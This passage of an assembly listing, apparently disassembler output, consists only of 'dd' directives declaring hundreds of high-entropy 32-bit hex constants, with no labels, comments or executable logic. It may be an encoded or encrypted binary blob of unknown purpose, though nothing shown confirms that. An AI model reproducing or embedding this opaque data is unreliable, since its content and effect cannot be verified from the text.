		dd 1687BD68h, 7066938h,	7C989E54h, 0FFE0CEEDh, 0F32B3330h
		dd 7922900h, 0A1DCCB71h, 0A6B350F7h, 0FB7B06h, 0D1911F28h
		dd 0E844DDCAh, 7172BB07h, 0B76317EEh, 0E394B8A3h, 0C7BC0F6Bh
		dd 99C7CB43h, 0E2B1CC15h, 80F4863Dh, 3D059D8Dh,	0EA71E0h
		dd 62A107AFh, 2B044228h, 97588E00h, 5E6940A8h, 998000D2h
		dd 91EC7A26h, 5F00A2C6h, 12938A03h, 6D9D54h, 0D7BC3E9Ah
		dd 6CAB24D2h, 75374E00h, 0ACD98CC4h, 0A1860342h, 9FB3DFE7h
		dd 0F127AAE0h, 0E0E87A00h, 69A7266Ch, 0E29430E6h, 6E7D6321h
		dd 84322C00h, 0DCA50C56h, 3D8782Ah, 0A894578Ah,	90000213h
		dd 4409F0EDh, 452B5F3h,	68B3F897h, 2278E096h, 8A9DFF01h
		dd 0AC89B4F7h, 0DFC09061h, 32A60055h, 3BAA33BEh, 0EFEF0F38h
		dd 92FA19E0h, 3D344B05h, 0D8B0559Ah, 781800CEh,	6B6A587Ch
		dd 4000EA4h, 8293212Ch,	303F1AB7h, 0D0AC45A3h, 0AB003EB1h
		dd 25A7A252h, 79A6E87Bh, 1E3500B5h, 57B627ECh, 0AF0924Eh
		dd 3CF1C83Bh, 831680A2h, 0FE2F530h, 22381D1Ch, 0AF7400Ch
		dd 3F5076DBh, 2674200h,	0E2ED4195h, 8BD5005Fh, 0BBC3BE0Dh
		dd 49F262E3h, 1B2DF03h,	0D07BB454h, 1EDA47A5h, 7FA8E236h
		dd 0D095F680h, 451DEBFCh, 13B78D00h, 11512B40h,	0CC5201CBh
		dd 0BD3D73B4h, 0B986E4C2h, 30122000h, 0CD1E59Ch, 0D00F01C7h
		dd 6E619F89h, 1E9DF470h, 797D6C01h, 0D4DD7209h,	2A1EE878h
		dd 0ADB0008Ch, 0D5CE7C0Eh, 0B010898h, 15C2F1ECh, 1A20ACC4h
		dd 0C77900B7h, 28A0921Ah, 29009067h, 62501DCAh,	9CC901h
		dd 99899556h, 941451F8h, 0E7607367h, 4E9EB980h,	10780028h
		dd 124F57BEh, 984873FAh, 6B751234h, 73C0080h, 23510EDEh
		dd 1680E60Dh, 0C6F9731Ch, 0EB218560h, 3B1787Bh,	0FA03B93h
		dd 7CB03DDDh, 7586763h,	7B8B002Bh, 58361040h, 0D9450004h
		dd 509EA7F5h, 5C007870h, 0E1C9240Ch, 0D106973Dh, 0E6008420h
		dd 5042788Ah, 0B8C00338h, 0EACCAF75h, 453B01F6h, 4C7FCA0Eh
		dd 6B688061h, 0EEA77A9Ch, 6CC30E76h, 0AFC0C964h, 4031CF02h
		dd 0EB981C00h, 0C0B0BEDEh, 48A80010h, 88AB65D9h, 951D38D3h
		dd 63002D6Bh, 0FE1B8F7Fh, 72F700C8h, 2B5187D8h,	2E3831CBh
		dd 88700283h, 0C010AC24h, 0C18A6F8h, 4B2743EEh,	0A90EBCB9h
		dd 7E72D096h, 9C45EC00h, 3CF31h, 28248022h, 5FDC1A3Bh
		dd 3EC8FB54h, 0A88AAE2Ah, 0DFCFC202h, 80682821h, 92813FF2h
		dd 0D390708h, 0B00B7DDDh, 5CCF3C8Ch, 0B64180E9h, 0DD7F11B3h
		dd 95980106h, 7BE9ABA1h, 7D21838Dh, 0E81D1A51h,	0F3345Dh
		dd 0F76F6050h, 59730D2Ah, 0B0A452h, 170205DEh, 39ED1416h
		dd 0B303D8E9h, 1BDD0891h, 0EC5AACF9h, 2C076BE1h, 0DB356655h
		dd 0E6A0F90h, 98AD0CB3h, 0A2C8F7EAh, 1BA59F00h,	0D165132Dh
		dd 28530160h, 0B089DB19h, 947DF082h, 4BAF3700h,	5D0A1E77h
		dd 22021F4Ah, 300749FAh, 0F7560410h, 0E69FEB01h, 0ECA93775h
		dd 926CE4h, 63E9A153h, 578944E7h, 16F9362Ch, 0C9AD8300h
		dd 60D99AA2h, 560A0920h, 3200F937h, 14318051h, 0FDE873h
		dd 88D21282h, 0C720CDBDh, 7229DA60h, 1FD0D76h, 40EAA097h
		dd 8CF4E489h, 20345008h, 3FBF0A4h, 62842ECFh, 0A1E849BDh
		dd 88CF90AFh, 0FC18E02Dh, 186FA93h, 55C2D162h, 805673A1h
		dd 98DFF520h, 0FCEA66D0h, 5AAD3EBDh, 977BAB02h,	9860CA2Bh
		dd 0D8036837h, 53BEAEC1h, 5DF00031h, 8CDD589Dh,	85643B56h
		dd 0DF6069B9h, 9F23D9FBh, 391308FAh, 0FBE69600h, 0F19E88h
		dd 0B3A8BC36h, 77F0B40Eh, 5D72C801h, 0AA01ABB6h, 7EF827F1h
		dd 0A9572C4Bh, 0EA2852h, 0F5A7D12Bh, 375FC1F9h,	0FA97FC07h
		dd 9F70A6F2h, 2F5BA2h, 7955ED7Fh, 3B62D0E5h, 0B510100h
		dd 7EB16BABh, 13FA028Dh, 0EFCFDC03h, 0F99504B5h, 40EED20h
		dd 775F01FEh, 436BB147h, 0EA105F4h, 0D08348FFh,	0AD588780h
		dd 0FE757DD6h, 8D494D01h, 0D4CE34E6h, 54934080h, 15824C3Fh
		dd 37F6901Eh, 40C16C81h, 0E2F48BDAh, 0E6F80023h, 9B2C5C9Eh
		dd 38C0D261h, 0BFB6DE3h, 0B6D500C9h, 9934FEA4h,	4401A60Ch
		dd 1B4C3BA7h, 2081B40Dh, 0E9D4FEFh, 11204FA9h, 0B081309Fh
		dd 0B8013584h, 0D07780E0h, 9799518Bh, 6D2007BDh, 0A34329F8h
		dd 0F693A69Ah, 98D72800h, 0D2894B6Ah, 0D08F004Ah, 0C9A6188Ah
		dd 1E0007A4h, 0E4FCD316h, 0A1E50BB6h, 6DDAAA0h,	0C06FA450h
		dd 0A1076F77h, 22905800h, 87002ABDh, 702C2EEDh,	8D3E8Fh
		dd 6160C16Ah, 42E5A83Dh, 51C76330h, 4F2FDCh, 0D53C8171h
		dd 0A96CF747h, 0F94CB401h, 4A83A85h, 6080E0CDh,	6AA444BDh
		dd 3674B495h, 0EDE82E1Fh, 634C7E79h, 89330E5h, 6D4B50h
		dd 4C237024h, 0C9896E7h, 6F1DD70Ch, 4C6379A6h, 3112DAF4h
		dd 0FB0C40E3h, 0CA9A5FF1h, 7AC2E800h, 4A0B4B74h, 65E4148Ah
		dd 0BA001C08h, 81C5ACE9h, 7B3DCAD9h, 495B0004h,	8058298Ah
		dd 0C024001Ch, 0CB79A27Ah, 9A001476h, 9847BF9h,	120E03ECh
		dd 0AAC6274Fh, 3F4CC803h, 76A00A68h, 8CCC9BCBh,	0D271A512h
		dd 319FD81Fh, 8C80879Eh, 835744E0h, 150701B6h, 20123579h
		dd 0EF398491h, 67C2AEDBh, 0B01443CDh, 0C0DE61A0h, 765D1778h
		dd 2B01EFFCh, 0A083B60h, 62C48E2Eh, 28AB3BFEh, 0B46811h
		dd 75C84C0Fh, 60F7E7F6h, 0A741619Ch, 0C016F77h,	50330754h
		dd 36ECCA92h, 65C0008Ah, 0F1D3F8F3h, 0AA0FBA60h, 0A058A21Fh
		dd 3259E87Ah, 0EFB2141Dh, 4383C0E2h, 7100A912h,	179339FDh
		dd 797E969Dh, 0CCA701DCh, 4F7701CBh, 29C4419Fh,	0AB20EE15h
		dd 1769F135h, 431E1Bh, 5E700951h, 140AEE62h, 0B88A31E5h
		dd 0AFC2360h, 496C08FBh, 40C67A1h, 0EEDC2002h, 28703Dh
		dd 1C7B8417h, 62386B3Fh, 0BE304500h, 10658D64h,	0B6A7034Eh
		dd 0DA608573h, 6F6DF690h, 0CFB41750h, 71EC9F30h, 0FC5D90F5h
		dd 44BA00B6h, 0CDFB018Bh, 0FD065C08h, 0B404206Fh, 5BC30079h
		dd 0CA260993h, 0BD01A602h, 0C6431453h, 83713723h, 984D92F7h
		dd 0D0ACE8h, 22928B84h,	0FCB21BF9h, 1624A8A4h, 0AD80C440h
		dd 46B35794h, 0F0FA7110h, 12241460h, 0A002CD61h, 0C6EE65E2h
		dd 0A31B840h, 0B006ED2Ah, 3CDB3B00h, 9C63B850h,	52C907C7h
		dd 82E1ED8Ch, 0B440F4EEh, 7870E483h, 0C1003892h, 54E8ACBBh
		dd 1652EEh, 0EAED086h
		dd 0C36DF957h, 0D63C2D02h, 486776F8h, 493DB544h, 186A28E2h
		dd 18094EC0h, 3136804h,	0FEC1632h, 0C1FFF7D1h, 62091D81h
		dd 0D8283039h, 8EBA8400h, 5D70D22Ah, 6177609Fh,	4197131Ah
		dd 7A9B2900h, 0E3D78C15h, 0C510264h, 907E7770h,	45062C45h
		dd 1441B368h, 0DB20484Ch, 826C611Ch, 0E27EFD8Ch, 80E0C060h
		dd 83534501h, 0CBC8F703h, 0A00D0031h, 0A40DF0F8h, 129000F0h
		dd 5D66D686h, 76009C79h, 614391F9h, 3E881F15h, 0C6892D28h
		dd 7C8745FCh, 717DE08Dh, 630113D8h, 8CC81D17h, 143072F1h
		dd 0A09C4CBBh, 425E7613h, 0F7FECF88h, 6611F845h, 78D1BE1Ch
		dd 73831000h, 92D399F0h, 0F068AE8h, 0A8496482h,	48848678h
		dd 5A87F4FAh, 72DF1059h, 0D3000457h, 0EBE47C54h, 581B64h
		dd 0B5E6035Dh, 0DAF765CBh, 0FCCAD8A3h, 0E1D58E40h, 0C942948h
		dd 51D283B2h, 0DCBC4912h, 0D5192100h, 4996A9FBh, 45079CE8h
		dd 5A92CDF6h, 405465E2h, 90324BACh, 76C2021Ch, 47E06F62h
		dd 0F3E5E840h, 0E0EDCE37h, 1090D614h, 2E058D5h,	4CB8ADBh
		dd 244617BCh, 5276B308h, 243828F8h, 8AD4ED30h, 0BED483B5h
		dd 4125971Ch, 3E6058CEh, 64B6F999h, 0DD00B798h,	57E06708h
		dd 1258507h, 833BF4FCh,	23901A61h, 1B23EFCh, 0C3C19907h
		dd 0A0E276F9h, 1252FCC4h, 0DBAC1DC4h, 3486000Ah, 0CE85EE9Bh
		dd 0CF2CA0A6h, 483C64B7h, 9CFF2434h, 465FE80h, 62BBD93h
		dd 89E5F58Ah, 0B51B596Ah, 8AC1EE84h, 0DADDC057h, 0A30517C5h
		dd 2042032h, 8801F067h,	4F38CD2Dh, 33A619h, 34CCF26h, 9E3CAB44h
		dd 0F15AFEE0h, 9F374CA4h, 0CF00E18Dh, 0C396667h, 0EE88DCD0h
		dd 5F004919h, 97BA5986h, 1311E5h, 0C310F726h, 0D20EC6C2h
		dd 74A34C02h, 9CF94FB2h, 23DAF9C4h, 0BFFA4CB2h,	0D5047440h
		dd 0F2B5F0A9h, 96D61040h, 0B0A62838h, 0CA473112h, 90A407h
		dd 60E844BFh, 163AE1F2h, 3D411D60h, 11A8463h, 1069367Dh
		dd 30EA1EB0h, 7805EB7Ch, 0F9DDE2A5h, 99F8880Bh,	98C6B7F4h
		dd 405CB184h, 4B2DCCFh,	61C0D8E0h, 685C82Fh, 251A00B2h
		dd 536A070Ah, 9049FA8Dh, 0DA860080h, 0CD9A6BA9h, 13749B7Bh
		dd 0E5DC333Ch, 0E34232F8h, 0E8D4BA00h, 1928921Ch, 7F77ECh
		dd 55B897ADh, 5F95EA83h, 7864D127h, 0C07226E8h,	9C470868h
		dd 4CB3D605h, 0B857488h, 0E308D189h, 889F5884h,	9100A220h
		dd 0FD79CD5Ch, 0BAA12B36h, 0DC6C3B58h, 0FAF87D0Fh, 7A244F92h
		dd 0C9F723C0h, 2200C8B3h, 0A9D38134h, 300A28FBh, 29F065DBh
		dd 0A0A4BEE6h, 0D0E9B50Bh, 9C40906Bh, 0EDBA0E91h, 0A620AFCEh
		dd 0A724C15Dh, 4359F00h, 950CD3A2h, 68AC4C58h, 1480A9CBh
		dd 497D42D2h, 5E364600h, 8E17F19Bh, 7B99A020h, 0FC61C76Dh
		dd 0F74A1E4h, 0A364CC3Dh, 0ECA07491h, 0B5297961h, 4C320ABAh
		dd 0FB0DA622h, 2C5977B7h, 1F3BCD4h, 332DD6Dh, 4CA1E30Dh
		dd 389419A8h, 4213E97h,	0C0101F2Fh, 690A3A91h, 0F413FCB4h
		dd 0FC0B5963h, 532A405Dh, 969476DEh, 0FA87CA0Ah, 8B479488h
		dd 0D3E61310h, 0CE700010h, 95712D29h, 9D002182h, 3BF174D6h
		dd 2FBCC5Bh, 4F2FCE91h,	0E8494189h, 0AD24419Fh,	0FACCF0E2h
		dd 8FBCBA00h, 0A095259h, 967D021Ch, 688D23C7h, 291DA8E4h
		dd 0A5008588h, 37E244B3h, 0E4724DFDh, 0F8445938h, 9BB4BE58h
		dd 0BFD10002h, 0E2175D41h, 8D2C81C1h, 1F09585Eh, 0E4029EDh
		dd 0E37AA3A4h, 52E0E2EBh, 0E5FA33B8h, 15D10159h, 9C1FE02Dh
		dd 9161EC07h, 0E372EBEFh, 3CA4B0FBh, 959F00BAh,	0B2A915F2h
		dd 0C491E3AAh, 0FE6E4205h, 58844CD5h, 28B1D498h, 4614065Bh
		dd 8478496Fh, 0DC42E4B1h, 8087B5EBh, 3044C852h,	108310CCh
		dd 12DBC567h, 5C37AF7Ah, 6A840330h, 0B12116CFh,	5EC1370h
		dd 0C75D7A23h, 281EB6C0h, 382AF826h, 4484C5E1h,	48622C61h
		dd 0EFB21F07h, 3901F0B8h, 0EBFADAA1h, 0D0741C0Bh, 0B41CA06Dh
		dd 345AFBDCh, 0C50AD967h, 500C98C8h, 0CBB06209h, 5D9C90A1h
		dd 9D27078Bh, 4CF75BDAh, 0B805B0E1h, 0C5459066h, 7156149Ch
		dd 434132Dh, 0B13801FCh, 76C5F65Eh, 18A12480h, 69B36C8Ch
		dd 21098C2h, 8A453447h,	1C52B6E4h, 50F756h, 0C06D3483h
		dd 9112D786h, 309D004Ch, 0AD3CD5B6h, 0EA46701Fh, 57D77700h
		dd 1C5BE92h, 0EBDF7B1Eh, 4259B031h, 6CEC473Ch, 0A06FE425h
		dd 0E9B063A8h, 54050FFFh, 3209732Eh, 0BFF8A018h, 54C8D852h
		dd 73399BF4h, 0FB7000F6h, 99E88ECDh, 4E224AAh, 47194080h
		dd 0D100B535h, 0D328A929h, 2604BFC7h, 0A8C793Bh, 6840AAh
		dd 0D88E028Bh, 0D200C16Fh, 8F687F55h, 240C8A64h, 109CD167h
		dd 0EE1D1209h, 80D8B448h, 0DE4AD1D2h, 493AF53Bh, 2BBC1763h
		dd 41828C42h, 700209DCh, 0F801012Eh, 8204E131h,	88717290h
		dd 34A6A986h, 27807629h, 4DF03C7Bh, 0CD0F5E0Eh,	0A097E082h
		dd 26DD1C76h, 41A07488h, 701B7E61h, 0F9015616h,	0B2D4B8B6h
		dd 0E870BB12h, 60B46251h, 54504B04h, 6DCC6500h,	3E3515A6h
		dd 0A4A0638h, 0F6625B7Dh, 0B09BB978h, 0DCB10418h, 6CF501E3h
		dd 7389C917h, 0FC82C985h, 0C8121D2Fh, 7802F865h, 41DFF6B1h
		dd 0F4106898h, 4E01B08Eh, 24179BEBh, 7C4C1F3Fh,	8B580029h
		dd 6D958E21h, 0F4A15447h, 0CBB0204Eh, 0DB3E8A0Ah, 0CC80D8B3h
		dd 7F26C60Fh, 0DDFE004Eh, 5A60A59h, 152543D7h, 12A8B0D0h
		dd 1CC8963Dh, 588141F3h, 33BA6CAEh, 9C560030h, 0C5D9C840h
		dd 73B21278h, 16ACC2F8h, 523E2844h, 0DFDE00FEh,	852AA4BAh
		dd 83A09468h, 345F08A2h, 0B83CE2F0h, 275BDE01h,	8B8005B2h
		dd 78FEBC31h, 34195DB4h, 0C5B2EA87h, 7C89D7h, 7F9CCD70h
		dd 0F49B8000h, 377CE62Dh, 401C0AB2h, 11FC483Ah,	0CE1B00B5h
		dd 27A97ED2h, 804C5804h, 8AC1C71h, 4E844076h, 747AFDE9h
		dd 6E88BC91h, 54C1400Ah, 0F15C57CDh, 8387C08Ch,	74D8D549h
		dd 0C4B94DCEh, 0A445E988h, 20D9B8D2h, 2EFC1FE6h, 0F3C64D00h
		dd 8BAE28B9h, 0D76D00F9h, 0CFD63C31h, 0F094B2E7h, 1483E845h
		dd 23114E01h, 3EF9CC68h, 84E1E81Ah, 6B96ED00h, 4913C742h
		dd 67910F60h, 0CB01D0F7h, 893F62B1h, 2033F881h,	0B747159Ch
		dd 0CC9B001Fh, 16BEA0FCh, 389328B6h, 0FD634084h, 484D0F4h
		dd 92CAAC01h, 9EC088F3h, 0FAB39600h, 8902DF6Ah,	577C3E42h
		dd 0E1826059h, 1025E039h, 746C8A0h, 45192D3Bh, 3FF060B6h
		dd 2600B9D7h, 7760FF08h, 0FC55BF31h, 1DA90E33h,	47A0F4DFh
		dd 0E6506266h, 87A1B00Eh, 5D82005Ch, 73116304h,	45890669h
		dd 58EEB9DBh, 8C4C230h,	0B8C6E31Dh, 4DAA03A5h, 644B77D0h
		dd 7A0616B8h, 0D8AB0518h, 7A0FCB02h, 0B14C03CCh, 0A626FF8Ah
		dd 0E4008879h, 1B45A23Dh, 30D71418h, 3F5846E8h,	2E7A0EB1h
		dd 9E3B5218h, 0EB2F79h,	3F4990A7h, 0A6B12DA0h, 407AF200h
		dd 7BC979A1h, 0A811ED0h, 80CCDE62h, 59BBE507h, 4600DF24h
		dd 8061258Bh, 6BB302h, 62810452h, 0E612A344h, 18901A53h
		dd 0AD89E5C5h, 0D9E46Eh, 675B0269h, 0CBDB5389h,	0D0D07730h
		dd 0D1BEC2F4h, 0E280BC60h, 1CA04377h, 7879F22Ah, 0C10BEF14h
		dd 0F4480048h, 18BD8560h, 0A84C3FF6h, 0B843CA80h, 33C38E9Dh
		dd 6E012F00h, 4F7EF859h, 84B6543Ch, 1B83053Dh, 4367748Bh
		dd 0B463DFC4h, 0FD365FE8h, 0D1F44B0Ch, 3E4618B0h, 203DEE8Fh
		dd 5528850h, 850B42Dh, 2C5C1066h, 34E37C00h, 99F86260h
		dd 795CD576h
		dd 0BFCB0CA6h, 441EF1CEh, 8F1C1664h, 0D811307h,	39281CD7h
		dd 1F601BC4h, 40844174h, 80A2618Ch, 0F90AE508h,	0AC169A5Ch
		dd 972C7F87h, 82B0EC80h, 3001003Ah, 66CB29E7h, 0A4A84C51h
		dd 950014FFh, 89EF0B1Bh, 302E0793h, 0B8D9B21Eh,	9515E09Bh
		dd 84F86116h, 3C0023F0h, 3FF165C5h, 0CCDB9900h,	38301BAAh
		dd 0EBAF2A64h, 1CFB069Ch, 99627326h, 0E8BBDF29h, 0A0A81A0Eh
		dd 53E9B7FCh, 0C5733903h, 9FFC54h, 4A0D74D7h, 0FC860F96h
		dd 8CBC3300h, 7519AA60h, 410100CAh, 1C445EF7h, 95034D89h
		dd 4B70D77h, 5387873h, 39920D7h, 0AC080071h, 0D8DF79C2h
		dd 211D1BE4h, 69B03A63h, 0C012A29Ch, 272D7728h,	89008E6Ah
		dd 4BFF7C7Bh, 30BE5857h, 0A5101252h, 70C059DEh,	9D6A3D4Ah
		dd 1F9A7B26h, 0EA0741Eh, 21981964h, 8939F9B5h, 0D8F58016h
		dd 11CAC11Eh, 0A4EEC8h,	0A8B55DEFh, 13789295h, 142C330Ch
		dd 6B3875h, 82BCFA1Ah, 487F94E4h, 0D3ECE700h, 1CB659B4h
		dd 359F0063h, 8EDFA901h, 0B5009910h, 0F129D434h, 18D3BEB0h
		dd 89451B20h, 52E39A25h, 0BE11F050h, 3C8A6E8h, 0D435BC85h
		dd 29A692B3h, 3EEEC57Bh, 2BC3A400h, 1B6329C9h, 0D60B006Ah
		dd 24546C87h, 0B500983Dh, 35C61F04h, 3B41E5Ch, 0FF6667EDh
		dd 7991B712h, 7AAC4014h, 58C07599h, 7123A78Bh, 0D8D100EDh
		dd 0CA2D6B6Ch, 5C00483Ch, 7F905453h, 5C2381Fh, 0C8BD87D7h
		dd 9DF04042h, 2925438Fh, 8DF30F00h, 3B9E85F8h, 7DCEE021h
		dd 431400B2h, 9DF167D2h, 68E6F062h, 71BFAC80h, 0C9630564h
		dd 0C01B9753h, 0A5B55E76h, 38A26024h, 70E8DB40h, 2E32005Bh
		dd 68DAE234h, 0CF0C8BFh, 0C13CCB09h, 0FAFD806Eh, 609F35BBh
		dd 0F98E618Fh, 0CD002998h, 0C4485101h, 0F5ED3Fh, 0D3F2ACB2h
		dd 0C3A64534h, 0B5319B63h, 8E2BF9E0h, 3CDA1180h, 0C20FD4EDh
		dd 0EE63C100h, 0A8E1965Dh, 805E00ACh, 0A92920AEh, 78FE79D0h
		dd 87CCA4A0h, 5E89BC00h, 8459B626h, 0C1DA01E9h,	92434F1Ch
		dd 60B85098h, 72001E01h, 48240ED6h, 47F62CFh, 2DC81BDDh
		dd 9C4480A1h, 73624BEBh, 0A0B5B230h, 0C0617DB8h, 38B939E4h
		dd 0C8CBF880h, 0E5A7BF1Bh, 0D45C5912h, 49F94828h, 0E100A4FFh
		dd 0F6376025h, 0E401ADA5h, 0CF65718Ch, 20801320h, 0B88AFCDh
		dd 673BBFA9h, 0AB70815Ah, 571D0F90h, 320AC026h,	80D0EA9Fh
		dd 3F6E9D64h, 0AF1FC75Bh, 1100FCCBh, 61D88466h,	0C167B91h
		dd 0A569929h, 20497A69h, 177E0F68h, 6F79A0F0h, 68C192h
		dd 0ECAE5450h, 3CBC107Ch, 0CAD9101h, 356FC828h,	0F7F63030h
		dd 3EC6025h, 9EF504A3h,	90576362h, 9D6CA2A0h, 1B58B719h
		dd 3FD51C71h, 6D3A4832h, 0B57E9A44h, 0D4389492h, 1231600Ch
		dd 71383DBFh, 0DB6D00A4h, 0F644845Fh, 20C011E3h, 0D923219h
		dd 1EFD0028h, 5F0CA737h, 0E20282A3h, 6D254E84h,	61BAC226h
		dd 0C858BB5Ch, 0FDF9221Dh, 1000A8FAh, 0E925FBFh, 37DDF0Ch
		dd 63B4D603h, 0A9749CCEh, 0C414B04Ch, 6C4A93C7h, 60C662C8h
		dd 77400466h, 0D1196032h, 17B464EEh, 741F8AF0h,	0AEC99F69h
		dd 302B05CBh, 0C94F8045h, 91BCC83h, 902B5650h, 72258420h
		dd 8300C826h, 4B10E8ADh, 0D323C7h, 0BAD6D982h, 0FC36693Eh
		dd 0B9DF6F00h, 344F26C1h, 2E6A2470h, 0CEF10690h, 402998FEh
		dd 0A686E4DDh, 44A8534Eh, 0DF006426h, 0F7614BC0h, 5C923142h
		dd 0E903C8DBh, 9EBD4AB1h, 0BE592C90h, 0E337D007h, 944AA619h
		dd 9032F642h, 5D79BE0h,	24418F38h, 4E6C44C7h, 9AE8C82Bh
		dd 0F7DC9200h, 51FDCF4Bh, 93F900BCh, 8B90497Ah,	0DF027767h
		dd 8F2336EFh, 7864B1h, 79F9DB15h, 2C5B0C02h, 0DCE33909h
		dd 0AD60B055h, 35C80BBEh, 2009B0h, 0D04A0E49h, 5080E456h
		dd 7499BD54h, 0AA731700h, 0B9C7867h, 7CA0AECFh,	9B194C02h
		dd 3195F920h, 0D97F15CEh, 0D180D825h, 0BBA77BD4h, 0DDFDE326h
		dd 0A1BE7000h, 926B6F08h, 840D0014h, 0BC2D1609h, 42069B87h
		dd 319A6EA9h, 3BFD0010h, 0B17AE8BBh, 2361CC40h,	22970F30h
		dd 4C30F400h, 0E12697Bh, 8700041Eh, 64F116F0h, 8150C0B9h
		dd 5E50B692h, 17B2D700h, 198B3577h, 512001EAh, 0FED3391h
		dd 8F24C050h, 63FD4200h, 0EF21596Ch, 17B537D5h,	866E2E99h
		dd 993B2280h, 4A015B5Dh, 12FB0F38h, 3411AFE3h, 0F0D30025h
		dd 77D80088h, 3F969343h, 120A8F56h, 6442E70Bh, 2D55091Eh
		dd 68348030h, 79C0B37h,	0EB417635h, 90F16C2Bh, 0CC5ED500h
		dd 0F2E3794h, 4AAC0240h, 0BD15F48Fh, 5BC72205h,	86FFAAE1h
		dd 1F672C0h, 0BD14E76Fh, 82EE1DD6h, 90082D71h, 86B48F85h
		dd 0FC41192Eh, 0E089C0ABh, 0ED4E5679h, 0EB003090h, 4788B26Ch
		dd 32BF0Fh, 4E8EE6Bh, 507A4256h, 0D4F0D0DCh, 0C18CFh, 0ACC6D1CAh
		dd 92597798h, 0ED022D0Ch, 0A81C7189h, 0CA9B94h,	8B9A0F28h
		dd 0B6E58F40h, 1AAF1207h, 807B2D50h, 0FE831FDBh, 89A01561h
		dd 7B308493h, 0B4BCE28h, 0F3508005h, 0EC041F85h, 3E082F0Ah
		dd 22C4FC0h, 0A781C204h, 5235AF4h, 0DEDCC83Ah, 0F60600A1h
		dd 210201A9h, 2E7F8F32h, 0F9B2B002h, 0A0AD9D7Ch, 332CBA8Ch
		dd 7A21EFBh, 0C3B09CE1h, 0FFE75185h, 99A96100h,	36682C6Ch
		dd 7EF003B9h, 696137E8h, 80A087E9h, 0C3CF3A49h,	4A85804h
		dd 8C16447Ch, 48289D7Ah, 30002B74h, 534DFC35h, 29C86F3Dh
		dd 869C2EA6h, 598695AEh, 8803A112h, 0E897A040h,	49FFD5EBh
		dd 2D0D8868h, 288C2Bh, 42FD7C84h, 1D2EFE2Eh, 0E64B0903h
		dd 0A02842BBh, 9E6321C3h, 712B3800h, 2F29E830h,	12BE70CDh
		dd 0C41121Ch, 0C1696944h, 3E012398h, 4462DB59h,	0B4C0DD07h
		dd 5DBE0098h, 0DC1D14EAh, 0FC912301h, 3ED51F00h, 0ACC24CDh
		dd 8E74E75h, 866F82A8h,	89D54C06h, 39A5804Ah, 640E2FC1h
		dd 40FAC0E8h, 7CACCF9Eh, 14EB0935h, 7D00A66Fh, 1AFD84D0h
		dd 6DC26102h, 4881E450h, 954F7Ch, 0AD767320h, 0A739FB3Fh
		dd 1008D7Bh, 6426B7E5h,	20C426Ah, 0DF9C3E38h, 0D0B9E8C3h
		dd 0DDB4508Dh, 0B70042FAh, 7B25D556h, 844F1h, 0C702E581h
		dd 10B0ABE6h, 80B89029h, 0E1D6E88Ch, 81DB00D1h,	4FE0257Fh
		dd 0A00927C1h, 8D4ADAh,	198CD27Ch, 18589A72h, 0C1A52E2Dh
		dd 22EF17D6h, 0C0763DDCh, 0EEBA0502h, 80ACB362h, 2AC0C6DCh
		dd 785E651Dh, 9502B9DFh, 90E5A940h, 0B3384h, 513EC424h
		dd 3D83EE18h, 8BBD2B18h, 0FDE7Ah, 0D092581Bh, 5AD58E1Eh
		dd 0BA01E0ECh, 0B31AF68Fh, 8C586C03h, 7B2E2409h, 8E428004h
		dd 6039C307h, 24C4F0A0h, 0FC1C560Dh, 7C234879h,	93E8BD03h
		dd 0B8C15E94h, 20C902FAh, 0CBDA06F5h, 0F142D000h, 0C6FD919Fh
		dd 488E0E86h, 0AA00395Bh, 15AE5C4Ch, 54C1D829h,	7C0ABF13h
		dd 0A9054868h, 0DC429903h, 40D165CCh, 0C487710h, 0A8D0D9C2h
		dd 0AC02B291h, 42C53101h, 0CEFA4112h, 0F3E8FBC4h, 60496C33h
		dd 0EBFB6DC1h, 489091BFh, 1B2F1D01h, 210645C2h,	0C3D40865h
		dd 53D8AC0Eh, 0A45FC07Ch, 0F353E63h, 1027E4ECh,	6414D8Fh
		dd 2783339Bh, 802B156Ch, 92E60F8Ch, 0A41C060h, 1BDD1CFh
		dd 100DD303h, 482A1B9Bh, 0FA0040A0h, 8E4FC4EEh,	5697608h
		dd 0DB8135E0h, 0C5E98007h, 1E0945D6h, 18B94E3Fh, 2C2BE5E8h
		dd 6E149808h, 2DD82092h, 454C7A16h, 146C56D0h, 25007AAh
		dd 596BFC7Bh, 9E8C80E7h, 2443256Ch, 3D82C52h, 0FEB790A6h
		dd 2338DAE9h
		dd 0E2F316F8h, 98C2AF00h, 2C734B3h, 63AA396h, 0B48079E8h
		dd 4E6C1885h, 2C308763h, 9E7130CAh, 0E7AEAD1Eh,	79546C00h
		dd 0B471F258h, 0D80B2418h, 0E6E1630Ch, 0E56C02B5h, 0E8600534h
		dd 0F93E9BDEh, 9F480C0Bh, 40386188h, 7D009C25h,	564077C2h
		dd 12D51CBh, 9CA5E97h, 0F157CCADh, 88426FCh, 96BD201Dh
		dd 48020E4h, 807B9FDFh,	0EB96A500h, 0E6E9085Bh,	1CB90782h
		dd 0C0C09D02h, 0DDE3AFF2h, 73A70407h, 144705ADh, 6D2F1F50h
		dd 0D27600A6h, 0DB5E2155h, 7A756131h, 9C7C013Ah, 5056ED7Eh
		dd 1D40B919h, 39DC51E1h, 63950093h, 38A00969h, 203E7AB0h
		dd 5C307E96h, 0BC26007h, 0A88F0379h, 5918F216h,	490E1C93h
		dd 0A0C5D424h, 0FE7DA9C6h, 6DD20011h, 7C5E20CEh, 0F300BA72h
		dd 0DAAC6719h, 0C00E3FC7h, 0B96D4739h, 1B018375h, 9040027Bh
		dd 78849194h, 6A6AF42h,	313B1Fh, 103DE918h, 95C8DFEBh
		dd 58E35B00h, 92D1DB3Eh, 1879078Eh, 73982C9Eh, 0A800C2CEh
		dd 45538562h, 0D64233h,	57027A3Fh, 0E53D40EFh, 7BCBCD07h
		dd 0C0201F0Ch, 0A0C212AFh, 157FACh, 420528D0h, 3BB10843h
		dd 0BDA6BE05h, 88482F44h, 409C530Fh, 0F563F19Ah, 0C9DF00B4h
		dd 0D176AFE0h, 2292395h, 0C0EA8C3h, 5A50802Fh, 51439FD9h
		dd 240078AAh, 1268EA03h, 21BA35h, 505E3E04h, 1000B528h
		dd 0D91584F6h, 8D6596h,	6FE48F7h, 0E67B47CDh, 1B08C60h
		dd 8004DB93h, 39613DA1h, 0C7981659h, 0AC380C41h, 3F78A8h
		dd 940CED0Fh, 0AB726C92h, 64B71303h, 0C3BDA4h, 0C6AD9830h
		dd 0F945EEF0h, 0D4BC1500h, 1CA5461Bh, 2C9120h, 0C8B67C79h
		dd 103C5BABh, 8D318A86h, 9DC79865h, 0C35E1524h,	0F65E11EAh
